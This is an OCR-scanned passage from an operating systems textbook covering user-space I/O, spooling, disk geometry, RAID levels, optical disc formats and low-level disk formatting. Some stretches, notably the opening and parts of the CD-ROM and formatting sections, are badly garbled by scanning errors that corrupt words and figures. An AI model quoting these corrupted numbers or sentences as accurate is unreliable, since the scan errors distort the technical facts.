Some d�vices, such as CI?-RO� ���O�d::ti�:n
s��t�:�oo:��n: ����:sf:��� 

esS at any gIven moment. It IS up t P 
d- hether the requested de-

d t reject them depen mg on w 
device usage an accep or

. ' 
h dle these requests is to require proc-

vice is available or not. A snnple 
e�;� �le:�or devices directly. If the �evice is 

esses to perform opens .o
n the �p 

ch a dedicated device then releases It. 
unavailable, the open falls. Cl?smg su 

cial mechanisms for requesting and 
An alternative approach IS to have spe . a device that is not available . 

d di d devices An attempt to acqUIre 
releasmg e cate . . .  rocesses are put on a queue. Sooner 
blocks the caller instead a! frulmg. Blocke� �le and the first process on the queue 
or later, the requested deVIce becomes aval

.
a 

is allowed to acquire it and continue execution. 

Device-Independent Block Size 

. It . p to the device-indepen-
Different disks may have different s�ctor SlZ�:�nn 

l�l�ck size to higher layers, 
dent software to hide this fact and provIde a �m

l loo-ical block In this way, the 
for example, by treating several sector� as

. 
a Slr;; � all use the s�IDe logical block 

higher layers only deal with �bstract eVl�es 
S

�
rnilarlY some character devices 

. - d d t of the phYSical sector SIze. 1 ,  . . 
slze, m epen en . ( d IDS) while others deliver thelfs m 
deliver their data one byte at a time e.g., mo .

e ,  
also be hidden. 

larger units (e.g., network interfaces). These dIfferences may 

SEC. 5.3 lIO SOFTWARE LAYERS 357 

5.3.4 User-Space I/O Software 

Although most of the I/O software is within the operating system, a small por
tion of it consists of libraries linked together with user programs, and even whole 
programs running outside the kernel. System calls, including the I/O system calls, 
are nonnall y made by library procedures. When a C program contains the call 

count = write(fd, buffer, nbytes); 

the library procedure write will be linked with the program and contained in the 
binary program present in memory at run time. The collection of all these library 
procedures is clearly part of the I/O system. 

While these procedures do little more than put their parameters in the 
appropriate place for the system can, there are other I/O procedures that actually 
do real work. In particular, fonnatting of input and output is done by library pro
cedures. One example from C is printf, which takes a fonnat string and possibly 
some variables as input, builds an ASCn string, and then calls write to output the 
string. As an example of printf, consider the statement 

printf("The square of %3d is %6d\n", i, i*i); 

It fonnats a string consisting of the 14-character string "The square of " followed 
by the value i as a 3-character string, then the 4-character string " is ", then i 2 as 
six characters, and finally a line feed. 

An example of a similar procedure for input is scan! which reads input and 
stores it into variables described in a format string using the same syntax as printf. 
The standard I/O library contains a number of procedures that involve I/O and all 
run as part of user programs. 

Not all user-level I/O software consists of library procedures. Another impor
tant category is the spooling system. Spooling is a way of dealing with dedicated 
I/O devices in a multiprogramming system. Consider a typical spooled device: a 
printer. Although it would be technically easy to let any user process open the 
character special file fOf the printer, suppose a process opened it and then did 
nothing for hours. No other process could print anything. 

Instead what is done is to create a special process, called a daemon, and a 
special directory, called a spooling directory. To print a file, a process first gen
erates the entire file to be printed and puts it in the spooling directory. It is up to 
the daemon, which is the only process having pennission to use the printer's spe
cial file, to print the files in the directory. By protecting the special file against 
direct use by users, the problem of having someone keeping it open unnecessarily 
long is eliminated. 

Spooling is not only used for printers. It is also used in other I/O situations. 
For example, file transfer over a network often uses a network daemon. To send a 
file somewhere, a user puts it in a network spooling directory. Later on, the net
work daemon takes it out and transmits it. One particular lise of spooled file 
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5.4.1 Disk Hardware 

Disks come in a variety of types. The most common ones are the magnetic 
disks (hard disks and floppy disks). They are characterized by the fact that reads 
and writes are equally fast, which makes them ideal as secondary memory (pag
ing, file systems, etc.). Arrays of these disks are sometimes used to provide high
ly reliable storage. For distribution of programs, data. and movies, various kinds 
of optical disks (CD-ROMs, CD-Recordables, and DVDs) are also important. In 
the following sections we will fIrst describe the hardware and then the software 
for these devices. 

Magnetic Disks 

Magnetic disks are organized into cylinders, each one contammg as many 
tracks as there are heads stacked vertically. The tracks are divided into sectors, 
with the number of sectors around the circumference typically being 8 to 32 on 
floppy disks, and up to several hundred on hard disks. The number of heads varies 
from 1 to about 16. 

Older disks have little electronics and just deliver a simple serial bit stream. 
On these disks, the controller does most of the work. On other disks, in particular, 
IDE (Integrated Drive Electronics) and SATA (Serial ATA) disks: the disk 
drive itself contains a microcontroller that does considerable work and allows the 
real controller to issue a set of higher-level commands. The controller often does 
track caching, bad block remapping, and much more. 

A device feature that has important implications for the disk driver is the pos
sibility of a controller doing seeks on two or more drives at the same time. These 
are known as overlapped seeks. While the controller and software are waiting 
for a seek to complete on one drive, the controller can initiate a seek on another 
drive. Many controllers can also read or write on one drive while seeking on one 
or more other drives, but a floppy disk controller cannot read or write on two 
drives at the same time. (Reading or writing requires the controller to move bits 
on a microsecond time scale, so one transfer uses up most of its computing pow
er.) The situation is different for hard disks with integrated controllers, and in a 
system with more than one of these hard drives they can operate simultaneously, 
at least to the extent of transferring between the disk and the controller's buffer 
memory. Only one transfer between the controller and the main memory is pos
sible at once, however. The ability to perform two or more operations at the same 
time can reduce the average access time considerably. 

Figure 5-18 compares parameters of the standard storage medium for the orig
inal IBM PC with parameters of a disk made 20 years later to show how much 
disks changed in 20 years. It is interesting to note that not aU parameters have 
improved as much. Average seek time is seven times better than it was, transfer 
rate is 1300 times better, while capacity is up by a factor of 50,000. This pattern 
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has to do with relatively gradual improvements in the moving parts, but much 
higher bit densities on the recording surfaces. 

Parameter IBM 360wKB floppy disk WD 18300 hard disk 

Number of cylinders 40 10601 
Tracks per cylinder 2 1 2  
Sectors per track 9 281 (avg) 
Sectors per disk 720 35742000 
Bytes per sector 512 51 2 
Disk capacity 360 KS 18.3 GS 
Seek time (adjacent cylinders) 6 msec 0.8 msec 
Seek time (average case) 77 msec 6.9 msec 
Rotation time 200 msec 8.33 msec 
Motor stop/start time 250 msec 20 sec 
Time to transfer 1 sector 22 msec 1 7  IlSec 

Figure 5�18. Disk parameters for the original reM PC 360-KB floppy disk and 
a Western Digital WD 18300 hard disk. 

One thing to be aware of in looking at the specifications of modern hard disks 
is that the geometry specified, and used by the driver software, is almost always 
different from the physical fonnat. On old disks, the number of sectors per track 
was the same for all cylinders. Modern disks are divided into zones with more 
sectors on the outer zones than the inner ones. Fig. 5-19(a) iilustrates a tiny disk 
with two zones. The outer zone has 32 sectors per track; the inner one has 16 sec
tors per track. A real disk, such as the WD 18300, typically has 16 or more zones, 
with the number of sectors increasing by about 4% per zone as one goes out from 
the innermost zone to the outennost zone. 

To hide the details of how many sectors each track has, most modem disks 
have a virtual geometry that is presented to the operating system. The software is 
instructed to act as though there are x cylinders, y heads, and z sectors per track. 
The controller then remaps a request for (x, y, z) onto the real cylinder, head, and 
sector. A possible virtual geometry for the physical disk of Fig. 5-19(a) is shown 
in Fig. 5-19(b). In both cases the disk has 192 sectors, only the published arrange
ment is different than the real one. 

For PCs, the maximum values for these three parameters are often (65535, 16, 
and 63), due to the need to be backward compatible with the limitations of the 
original IBM PC On this machine, 16-. 4-, and 6-bit fields were used to specify 
these numbers, with cylinders and sectors numbered starting at 1 and heads num
bered starting at O. With these parameters and 512 bytes per sector, the largest 
possible disk is 31 .5 GB. To get around this limit, all modem disks now support a 
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The next option, RAID level l ,  shown in Fig. 5-20(b), is a true RAID. It 
duplicates all the disks, so there are four primary disks and four backup disks. On 
a write, every strip is written twice. On a read, either copy can be used, distribut
ing the load over more drives. Consequently, write performance is no better than 
for a single drive, but read performance can be up to twice as good. Fault toler
ance is excellent: if. a drive crashes, the copy is simply used instead. Recovery 
consists of simply installing a new drive and copying the entire backup drive to it. 

Unlike levels 0 and 1, which work with strips of sectors, RAID level 2 works 
on a word basis, possibly even a byte basis. Imagine splitting each byte of the sin
gle virtual disk into a pair of 4-bit nibbles, then adding a Hamming code to each 
one to form a 7-bit word, of which bits 1, 2,- and 4 were parity bits. Further ima
gine that the seven drives of Fig. 5-20( c) were synchronized in tenns of arm POS!
tion and rotational position. Then it would be possible to write the 7-bit Hamming 
coded word over the seven drives, one bit per drive. 

The Thinking Machines CM-2 computer used this scheme, taking 32-bit data 
words and adding 6 parity bits to fonn a 38-bit Hamming word, plus an extra bit 
for word parity, and spread each word over 39 disk drives. The total throughput 
was immense, because in one sector time it could write 32 sectors worth of data. 
Also, losing one drive did not cause problems, because loss of a drive amounted 
to losing 1 bit in each 39-bit word read, something the Hamming code could hand
le on the fly, 

On the down side, this scheme requires all the drives to be rotationally syn
chronized, and it only makes sense with a substantial number of drives (even with 
32 data drives and 6 parity drives, the overhead is 19%). It also asks a lot of the 
controller, since it must do a Hamming checksum every bit time. 

RAID level 3 is a simplified version of RAID level 2. It is illustrated in 
Fig. 5-20(d). Here a single parity bit is computed for each data word and written 
to a parity drive. As in RAID level 2, the drives must be exactly synchronized, 
since individual data words are spread over multiple drives. 

At fITst thought, it might appear that a single parity bit gives only error detec
tion, not error correction. For the case of random undetected errors, this observa
tion is true. However, for the case of a drive crashing, it provides full I-bit error 
correction since the position of the bad bit is known. If a drive crashes, the con
troner just pretends that all its bits are Os. If a word has a parity error, the bit from 
the dead drive must have been a 1, so it is corrected. Although both RAID levels 2 
and 3 offer very high data rates, the number of separate I/O requests per second 
they can handle is no better than for a single drive. 

RAID levels 4 and 5 work with strips again, not individual-words with parity, 
and do not require synchronized drives. RAID level 4 [se-e Fig. 5-20(e)} is like 
RAID level 0, with a strip-for-strip parity written onto an extra drive. For ex
ample, if each strip is k bytes long, all the strips are EXCLUSNE ORed together, 
resulting in a parity strip k bytes long. If a drive crashes, the lost bytes can be 
recomputed from the parity drive by readinK ��e entire set of drives. 
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(a) SIrip 4 Strip S Strip 6 Strip ? RAID leve! 0 

Strip S Strip 9 Strip 10 Strip 11 
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Figure 5·20. RAID levels 0 through 5. Backup and parity drives are shown shaded. 
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This design protects against the loss of a drive but performs poorly for small 
updates. If one sector is changed, it is necessary to read ail the drives in order to 
recalculate the parity, which must then be rewritten. Alternatively, it can read the 
old user data and the old parity data and recompute the new parity from them. 
Even with this optimization, a small update requires two reads and two writes. 

As a consequence of the heavy load on the parity drive, it may become a 
bottleneck. This bottleneck is eliminated in RAID level 5 by distributing the par
ity bits uniformly over all the drives, round robin fashion, as shown in Fig. 5-
20(£). However, in the eVent of a drive crash, reconstructing the contents of the 
failed drive is a complex process. 

CD-ROMs 

In recent years, optical (as opposed to magnetic) disks have become available. 
They have much higher recording densities than conventional magnetic disks. 
Optical disks were originally developed for recording television programs, but 
they can be put to more esthetic use as computer storage devices. Due to their 
potentially enonnous capaCity, optical disks have been the subject of a great deal 
of research and have gone through an incredibly rapid evolution. 

First-generation optical disks were invented by the Dutch electronics 
conglomerate Philips for holding movies. They were 30 cm across and marketed 
under the name LaserVision, but they did not catch on, except in Japan. 

In 1980, Philips, together with Sony, developed the CD (Compact Disc), 
which rapidly replaced the 33 1/3-RPM vinyl record for music (except among 
connoisseurs, who still prefer vinyl). The precise technical details for the CD 
were published in an official International Standard (IS 10149), popularly called 
the Red BOOk, due to the color of its caver. (International Standards are issued by 
the International Organization for Standardization, which is the international 
Counterpart of national standards groups like ANSI, DIN, etc. Each one has an IS 
number.) The paint of publishing the disk and drive specifications as an Interna
tional Standard is to allow CDs from different music publishers and players from 
different electronics manufacturers to work together. All CDs are 120 mm across 
and 1.2 rum thick, with a 15-mm hole in the middle. The audio CD was the first 
successful mass market digital storage medium. They are supposed to last 100 
years. Please check back in 2080 for an update On how well the first batch did. 

A CD is prepared in several steps. The step consists of using a high-power 
infrared laser to burn 0.8-micron diameter holes in a coated glass master disk. 
From this master, a mold is made, with bumps where the laser..holes were. Into 
this mold, molten polycarbonate resin is injected to fonn a CD with the same pat
tern of holes as the glass master. Then a very thin layer of reflective aluminum is 
deposited on the polycarbonate, topped by a protective lacquer and finally a label. 
The depressions in the polycarbonate substrate are called pits; the unburned areas 
between the pits are called lands. 
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Figure 5.21. Recording structure of a compact disc or CD-ROM. 
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what are now called CD-ROMs (Compact Disc - Read Only Memory). To pig
gyback on the by-then already substantial audio CD market, CD-ROMs were to 
be the same physical size as audio CDs, mechanically and optically compatible 
with them, and produced using the same polycarbonate injection molding ma
chines. The consequences of this decision were not only that slow variable-speed 
motors were requir�d, but also that the manufacturing cost of a CD-ROM would 
be well under one dollar in moderate volume. 

What the Yellow Book defined was the formatting of the computer data. It 
also improved the error-correcting abilities of the system, an essential step be
cause although music lovers do not mind losing a bit here and there, computer 
lovers tend to be Very Picky about that. The basic format of a CD�ROM consists 
of encoding every byte in a 14-bit symbol, which is enough to Hamming encode 
an 8-bit byte with 2 bits left Qver. In fact, a more powerful encoding system is 
used. The 14-to-8 mapping for reading is done in hardware by table lookup. 

At the next level up, a group of 42 consecutive symbols forms a 588-bit 
frame. Each frame holds 192 data bits (24 bytes). The remaining 396 bits are 
used for error correction and controL Of these, 252 are the error-correction bits in 
the 14-bit symbols and 144 are carried in the 8-bit symbol payloads. So far, this 
scheme is identical for audio CDs and CD-ROMs. 

What the Yellow Book adds is the grouping of 98 frames into a CD-ROM 
sector, as shown in Fig. 5-22. Every CD-ROM sector begins with "a 16-byte 
preamble, the first 1 2  of which are OOFFFFFFFFFFFFFFFFFFFFOO (hexade
cimal), to allow the player to recognize the start of a CD-ROM sector. The next 3 
bytes contain the sector number, needed because seeking on a CD-ROM with its 
single data spiral is much more difficult than on a magnetic disk with its uniform 
concentric tracks. To seek, the software in the drive calculates approximately 
where to go, moves the head there, and then starts hunting around for a preamble 
to see how good its guess was. The last byte of the preamble is the mode. 

CI CI r::::l • • •  CI CI CI Each symbol holds 8 data bits and 6 error-correction bits 

142 Symbols make 1 frame of 14 x 42 '" 588 bits + Each frame contains 192 
Cl CI t::l t::l t::l CJ Cl c:l t::l CI t::l CJ Cl CJ Cl Cl data bits (24 bytes) and �--------,----------� 396 error-correction bits Preamble 98 Frames make 1 sector 

Mode 1 
Data sector 

LL _______________ -'---,-:c--' (2352 bytes) 
288 Bytes 16 2048 

Figure 5-22. Logical data layout on a CD-ROM. 

The Yellow Book defines two modes. Mode 1 uses the layout of Fig. 5-22, 
with a l6-byte preamble, 2048 data bytes, and a 288-byte error-correcting code (a 
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crossinterleaved Reed-Solomon code). Mode 2 combines the data and ECC fields 
into a 2336-byte data field for those applications that

, do not, need (or cannot afford the time to perform) error correction, such as audIo 
,and vIdeo

. Note that t� 
provide excellent reliability, three sep�a�e error-correctmg sche

,
mes ar:e used. 

within a symbol, within a frame, and wlthm a CD-ROM sector. Smgle-bit errOrs 
are corrected at the lowest level, short burst errors are corrected a� the ff

,
arne leve�, 

and any residual errors are caught at the sector leveL The pnce prud for, thIs reliability is that it takes 98 frames of 588 bits (7203 bytes) to carry a smgle 
2048-byte payload, an efficiency of only 28%. . . Single-speed CD-ROM drives operate at 75 sectors/sec,. WhICh gIves a data 
rate of 153,600 bytes/sec in mode 1 and 175,200 bytes/sec ill mode 2. Double
speed drives are twice as fast, and so on up to the hIghest speed. Thus a �Ox ?rive 
can deliver data at a rate of 40 x 153,600 bytes/sec, assuming that the drive.mter
face, bus, and operating system can all hand.Ie this data rate. A stand�d audiO CD 
has room for 74 minutes of music, which, If used for mode 1 data, gIVes a capa
city of 681,984,000 bytes. This figure is usually reported as 650 MB because 1 
MB is 220 bytes (1,048,576 bytes), not 1 ,000,000 bytes. . Note that even a 32x CD-ROM drive (4,915,200 bytes/sec) IS no match for a 
fast SCSI-2 maonetic disk drive at 10 MB/sec, even though many CD-R�M 
drives use the SCSI interface (IDE CD-ROM drives also exist). When you realIze 
that the seek time is usually several hundred milliseconds, it should be cl�ar �at 
CD-ROM drives are not in the same performance category as magnetIc disk 
drives, despite their large capacity. . '  In 1986, Philips struck again with the Green Book, addmg graphICS and �e 
ability to interleave audio, video, and data in the same sector, a feature essentIal 
for multimedia CD-ROMs. . . The last piece of the CD-ROM puzzle is the file system. To make It pOSSIble 
to use the same CD-ROM on different computers, agreement was needed on .CD
ROM file systems. To get this agreement, representative� of .many computer 
companies met at Lake Tahoe in the High Sierras on the CalIfOrnIa-Nevada b�un
dary and devised a file system that they called High Sierra. It later evolved mto 
an International Standard (IS 9660). It has three levels. Level 1 uses file names of 
up to 8 characters optionally followed by an extension of uP. to 3 characters (the MS-DOS file naming convention). File names may contam only upper case 
letters, digits, and the underscore. Directories may be nest�d up to eIght deep, but 
directory names may not contain extensio�s. Lev�l 1 requITes all files to be con
tiguous which is not a problem on a medlUm wntten only once. Any CD-ROM 
confo�ant to IS 9660 level I can be read using MS-DOS, an Apple. computer, a 
UN1X computer, or just about any other computer. CD-ROM publIshers regard 
this property as being a big plus. 

IS 9660 level 2 allows names up to 32 characters, and level 3 allows nonco�
tiguous files. The Rock Ridge extensions (whimsically named after the town m 
the Gene Wilder film Blazing Saddles) allow very long names (for UNIX), UIDs, 
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Gills, and symbolic links, but CD-ROMs not confonning to level 1 will not be readable on all computers. 
CD-ROMs have become extremely popular for publishing games, movies, encylopedias, atlases, and reference works of all kinds. Most commercial software now comes on CD-ROMs. Their combination of large capacity and low manufacturing cost makes them well suited to innumerable applications. 

CD-Recordables 

Initially, the equipment needed to produce a master CD-ROM (or audio CD, for t�at matter) was .extremely expensive. But as usual in the computer industry, nothmg stays expenSIVe for long. By the mid 1990s, CD recorders no bigger than a CD player were a common peripheral available in most computer stores. These devices were still different from magnetic disks because once written, CD-ROMs could not be erased. Nevertheless, they quickly found a niche as a backup medium for larg: hard disks and also allowed individuals Or startup companies to manufacture theIr own small-run CD-ROMs or make masters for delivery to hioh-volume commercial CD duplication plants. These drives are known as C�Rs (CDw Recordables). 
Physically, CD-Rs start with 120-rom polycarbonate blanks that are like CDROMs, except that they contain a 0.6-mm wide groove to guide the laser for writing. The groove h�s a sin�soidal excursion of OJ mm at a frequency of exactly 22.0? kHz to prov.lde co�tmuous feedback so the rotation speed can be accurately momtored and adjusted If need be. CD-Rs look like regular CD-ROMs, except that they are gold colored on top instead of silver colored. The gold color comes from the use of real gold instead of aluminum for the reflective layer. Unlike silver .C�s, wh.ich have physical depressions on them, on CD-Rs the differing reflectlv1ty of pItS and lands has to be simulated. This is done by adding a layer of dye betwe�n the pOlycarbonate and the reflective gold layer, as shown in Fig. 5-23. Two kinds of dye are used: cyanine, which is green, and ptbalocyanine, which is a yellowish orange. Chemists can argue endlessly about which one is better. These dyes are similar to those used in photography, which explains why Eastman Kodak and Fuji are major manufacturers of blank CD-Rs. In its initial state, the dye layer is transparent and lets the laser light pass t�rough and reflect off the gold layer. To write, the CD-R laser is turned up to high power (8-16 mW). When the beam hits a spot of dye, it heats up, breaking a chemical bond. This change to the molecular structure creates a dark spot. When read back (at 0.5 mW), t�e photodetector sees a difference between the dark spots where the dye has been hIt and transparent areas where it is·intact. This difference is interpreted as the difference between pits and-lands, even when read back on a regular CD�ROM reader or even on an audio CD player. No new kind of CD could hold up its head with pride without a colored book, so CD-R has the Orange BOOk, published in 1989. This document defines CD-R 
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Figure 5.23. Cross section of a CD·R disk and laser (not to scale): A s�lver 
CD-ROM has a similar structure, except without the dye layer and WIth a pltted 
aluminum layer instead of a gold layer. 

and also a new fonnat, CD�ROM XA, which allows CD-Rs to be written incre
mentally, a few sectors today, a few tomorrow, and a few next month. A group of 
consecutive sectors written at once is called a CD�ROM track. 

. One of the first uses of CD-R was for the Kodak PhotoeD. In tius system the 
customer brings a roll of exposed film and his old PhotoCD to the photo processor 
and gets back the same PhotoCD with the new pictures a�ded �fter 

.
the old ones. 

The new batch, which is created by scanning in the negatIves, IS wntten onto the 
PhotoCD as a separate CD-ROM track. Incremental writing was ne

.
eded beca�se 

when this product was introduced, the CD-R blanks were too expenSIve to provlde 
a new one for every film roll. 

. However, incremental writing creates a new problem. Pnor to the Orange 
Book, all CD-ROMs had a single VTOC (Volume Table of Contents) at the 
start That scheme does not work with incremental (i.e., multItrack) wntes. The 
Orange Book's solution is to give each CD-ROM track its own 'YTOc. The files 
listed in the VTOC can include some or all of the files from preVIOUS tracks. After 
the CD-R is inserted into the drive, the operating system searches through all the 
CD-ROM tracks to locate the most recent VTOC, which gives the current status 
of the disk. By including some, but not all, of the files from previous tracks in the 
current VTOC, it is possible to give the illusion that files have been deleted. 
Tracks can be grouped into sessions, leading to multisession CD-ROMs. �tan
dard audio CD players cannot handle multisession CDs since they expect a smgle 
VTOC at the start. Some computer applications can handle them, though. 
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CD-R makes it possible for individuals and companies to easily copy CD
ROMs (and audio CDs), generally in violation of the publisher's copyright. Sever
al schemes have been devised to make such piracy harder and to make it difficult 
to read a CD-ROM using anything other than the publisher's software. One of 
them involves recording all the file lengths on the CD-ROM as multigigabyte, 
thwarting any attempts to copy the files to hard disk using standard copying soft
ware. The true lengths are embedded in the publisher's software or hidden (pos
sibly encrypted) on the CD-ROM in an unexpected place. Another scheme uses 
intentionally incorrect ECCs in selected sectors, in the expectation that CD copy
ing software will "fix" the errors. The application software checks the ECCs it
self, refusing to work if they are correct. Using nonstandard gaps between the 
tracks and other physical «defects" are also possibilities. 

CD-Rewritables 

Although people are used to other write-once media such as paper and photo
graphic film, there is a demand for a rewritable CD-ROM. One technology now 
available is CD-RW (CD-ReWritable), which uses the same size media as CD
R. However, instead of cyanine or pthalocyanine dye, CR-RW uses an alloy of 
silver, indium, antimony, and tellurium for the recording layer. This alloy has two 
stable states: crystalline and amorphous, with different reflectivities. 

CD-RW drives use lasers with three different powers. At high power, the 
laser melts the alloy, converting it from the high-reflectivity crystalline state to 
the low-reflectivity amorphous state to represent a pit. At medium power, the 
alloy melts and reforms in its natural crystalline state to become a land again. At 
low power, the state of the material is sensed (for reading), but no phase transition 
occurs. 

The reason CD-RW has not replaced CD-R is that the CD-RW blanks are 
more expensive than the CR-R blanks. Also, for applications consisting of back
ing up hard disks, the fact that once written, a CD-R cannot be accidentally erased 
is a big plus. 

DVD 

The basic CD/CD-ROM format has been around since 1980. The technology 
has improved since then, so higher-capacity optical disks are now economically 
feasible and there is great demand for them. Hollywood would dearly love to 
eliminate analog video tapes in favor of digital disks, since disks have a higher 
quality, are cheaper to manufacture, last longer, take up less sht;::'lf space in video 
stores, and do not have to be rewound. The consumer electronics companies are 
always looking for a new blockbuster product, and many computer companies 
want to add multimedia features to their software. 

This combination of technology and demand by three immensely rich and 
powerful industries led to DVD, originally an acronym for Digital Video Disk, 
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but now officially Digital Versatile Disk. DVDs use the same ge�e�al de�ign as 
CDs, with 120-mm injection-molded polycarbonate disks contammg PIts �d 
lands that are illuminated by a laser diode and read by a photodetector. What IS 
new is the use of 

1. Smaller pits (0.4 microns versus 0.8 microns for CDs). 
2. A tighter spiral (0.74 microns between tracks versus 1.6 microns for CDs). 
3. A red laser (at 0.65 microns versus 0.78 microns for CDs). 

Together, these improvements raise the capacity sevenfold, to 4.7 GB. A Ix DVD 
drive operates at 1.4 ME/sec (versus 150 KB/sec for CDs). Unfortunately: the switch to the red lasers used in supermarkets means that DVD players reqUire a 
second laser or fancy conversion optics to be able to read existing COs and CD
ROMs. But with the drop in price of lasers, most of them now iive both of them 
so they can read both kinds of media. . '  . Is 4.7 GB enough? Maybe. Using MPEG-2 compressIOn (standardIzed m. IS 
13346), a 4.7 GB DVD disk can hold 133 minutes of full-screen, full-motIOn 
video at high resolution (720 x 480), as wen as soundtracks III up to eIght lan
guages and subtitles in 32 more. About 92% of all the �o:ies Hollywood h�s ev�r made are under 133 minutes. Nevertheless, some apphcatlOns such as multlmedla 
games or reference works may need more, and Hollywood �ould like to put mul
tiple movies on the same disk, so four formats have been defmed: 

1 .  Single-sided, single-layer (4.7 GB). 
2. Single-sided, dual-layer (8.5 GB). 
3. Double-sided, single-layer (9.4 GB). 
4. Double-sided, dual-layer (17 GB). 

Why so many formats? In a word: politics. Philips and Son.y wanted �ingle-sided, 
dual-layer disks for the high capacity version, but ToshIba and Tune Warner 
wanted double-sided, single-layer disks. Philips and Sony did not think people 
would be willing to turn the disks over, and Time Warner did not believ� pu:ting 
two layers on one side could be made to work. The compromise: all combmahons, 
but the market will determine which ones survive. 

The dual layering technology has a reflective layer at the bottom, topped with 
a semireflective layer. Depending on where the laser is focused, it bounces off 
one layer or the other. The lower layer needs slightly larger pits and lands to be 
read reliably, so its capacity is slightly smaller than the upper layer's. 

Double-sided disks are made by taking two 0.6-mm single-sided disks and 
gluing them together back to back. To make the. thicknesses of all versions the 
same, a single-sided disk consists of a 0.6-mro dIsk bonded to a blank substrate 
(or perhaps in the future, one consisting of 133 minutes of advertising, in the hope 
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that people will be curious as to what is down there). The structure of the 
double-sided, dual-layer disk is illustrated in Fig. 5-24. 

Semireflective ��= ,ayer 

Aluminum ����r- reflector 

Aluminum reflector 

Figure 5�24. A double-sided, dual-layer DVD disk. 

Semireflectlve 
layer 

DVD was devised by a consortium of 10 consumer electronics companies, seven of them Japanese, in close cooperation with the major Hollywood studios (some of which are owned by the Japanese electronics companies in the Consortium). The computer and telecommunications industries were not invited to the picnic, and the resulting focus was on using DVD for movie rental and sales shows. For example, standard features include real-time skipping of dirty scenes (to allow parents to turn a film rated Ne17 into one safe for toddlers), six-channel sound, .and supp�rt for Pan-and-Scan. The latter feature allows the DVD player to dynamIcally deCIde how to crop the left and right edges off movies (whose width:height ratio is 3:2) to fit on current television sets (whose aspect ratio is 4:3). 
Another item the computer industry probably would not have thought of is an intentional incompatibility between disks intended for the United States and disks intended for Europe and yet other standards for other continents. Hollywood demanded this "feature" because new films are always released first in the United States and then shipped to Europe when the videos come out in the United States. The idea was to make sure European video stores could not buy videos in the U.S. too early, thereby reducing new movies' European theater sales. If Hollywood had been running the computer industry, we would have had 3.5-inch floppy disks in the United States and 9-cm floppy disks in Europe. The folks who brought you single/double-sided DVDs and single/double-layer ?VD� are �t It agam. !he next generation also lacks a single staQ-dard due to politIcal blckenng by the mdustry players. One of the new devices is Blu-ray, which uses a 0.405 micron (blue) laser to pack 25 GB onto a single-layer disk and 50-GB onto a double-layer disk. The other one is HD DVD, which uses the same blue laser but has a capacity of only 15 GB (single layer) and 30 GB (double layer). This fonnat war has split the movie studios, the computer manufacturers, 
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and the software companies. As a result of the lack of standardization, this gen
eration is takino off rather slowly as consumers wait for the dust to settle to see 
which fonnat ;ill win. This stupidity on the part of the industry brings to mind 
George Santayana's famous remark: "Those who cannot learn from history are 
doomed to repeat it." 

5.4.2 Disk Formatting 

A hard disk consists of a stack of aluminum, alloy, or glass platters 5.25 inch 
or 3.5 inch in diameter (or even smaller on notebook computers). On each p�atter 
is deposited a thin magnetizable metal oxide. After manufacturing, there IS no 
infonnation whatsoever on the disk. 

Before the disk can be used, each platter must receive a low-level format 
done by software. The format consists of a series of concentric tracks, each con
taining some number of sectors, with short gaps between the sectors. The fonnat 
of a sector is shown in Fig. 5-25. 

! Preamble I Data 

Figure 5�25. A disk sector. 

The preamble starts with a certain bit pattern that allows the hardware to 
recocrnize the start of the sector. It also contains the cylinder and sector numbers 
and �ome other information. The size of the data portion is determined by the 
low-level formatting program. Most disks use 5l2-byte sectors. The Eee field 
contains redundant information that can be used to recover from read errors. ",fhe 
size and content of this field varies from manufacturer to manufacturer, depending 
on how much disk space the designer is willing to give up for higher reliabilit.y 
and how complex an Bee code the controller can handle. A 16-byte Eee field IS 
not unusuaL Furthermore, all hard disks have some number of spare sectors allo
cated to be used to replace sectors with a manufacturing defect. . The position of sector 0 on each track is offset from the preVIOUS t�ack when 
the low-level format is laid down. This offset, called cylinder skew, IS done to 
improve performance. The idea is to allow the disk to read multiple tracks in one 
continuous operation without losing data. The nature of the problem c�n be seen 
by looking at Fig. 5-19(a). Suppose that a request needs 18  sectors sta�.·tlng at �ec
tor 0 on the innermost track. Reading the first 16 sectors takes one dISk rotat�on, 
but a seek is needed to move outward one track to get the 17th sector. By the lime 
the head has moved one track, sector 0 has rotated past the head so an entire rota
tion is needed until it comes by again. That problem is eliminated by offsetting the 
sectors as shown in Fig, 5-26. 

SEC. 5.4 DISKS 

Figure 5-26. An illustration of cylinder skew. 

Direction of disk 
rotation 
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The amount of cylinder skew depends On the drive geometry. For example, a lO,OOO-RPM drive rotates in 6 msec. If a track contains 300 sectors a new sector passes under the head every 20 �ec. If the track�to-track seek tim� is 800 !-,-sec, 40 sectors will pass by during the seek, so the cylinder skew should be 40 sectors, rather than the three sectors shown in Fig. 5-26. It is worth mentioning that switching between heads also takes a finite time, so there is head skew as well as cylinder skew, but head skew is not very large. 
�s a result of the low-Ie:el formatting, disk capacity is reduced, depending on the SIZes of the preamble, mtersector gap, and Eee, as wen as the number of spare sectOrs reserved. Often the formatted capacity is 20% lower than the unformatted capacity. The spare sectors do not count toward the formatted capacity, so all disks of a given type have exactly the same capacity when shipped, independent of how many bad sectors they actually have (if the number of bad sectors exceeds the number of spares, the drive will be rejected and not-shipped). There is considerable confusion about disk capacity because some manufacturers advertised the unformatted capacity to make their drives look larger than they really are. For example, consider a drive whose unfonnatted capacity is 200 x 109 bytes. This might be sold as a 200�GB disk. However after formattincr 9 ' b' perhaps only 170 x 10 bytes are available for data. To add to the confusion, the 
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ating systems to coexist. Also, in some cases, a partition can be used for swap
ping. On the Pentium and most other computers, sector 0 contains the master 
boot record, which contains some boot code plus the partition table at the end. 
The partition table gives the starting sector and size of each partition. On the Pen
tium, the partition table has room for four partitions. If all of them are for Win
dows, they will be ca.lled C:, D:, E:, and F: and treated as separate drives. If three 
of them are for Windows and one is for UNIX, then Windows will call its parti
tions C:, D:, and E:. The first CD-ROM will then be F:. To be able to boot from 
the hard disk, one partition must be marked as active in the partition table. 

The final step in preparing a disk for use is to perform a high-level format of 
each partition (separately). This operation lays down a boot block, the free stor
age administration (free list or bitmap), root directory, and an empty file system. 
It also puts a code in the partitipn table entry telling which file system is used in 
the partition because many operating systems support multiple incompatible file 
systems (for historical reasons). At this point the system can be booted. 

When the power is turned on, the BIOS runs initially and then reads in the 
master boot record and jumps to it. This boot program then checks to see which 
partition is active. Then it reads in the boot sector from that partition and runs it. 
The boot sector contains a small program that general loads a larger bootstrap 
loader that searches the file system to find the operating system kernel. That pro
gram is loaded into memory and executed. 

5.4.3 Disk Ann Scheduling Algorithms 

In this section we will look at some issues related to disk drivers in general. 
First, consider how long it takes to read or write a disk block. The time required is 
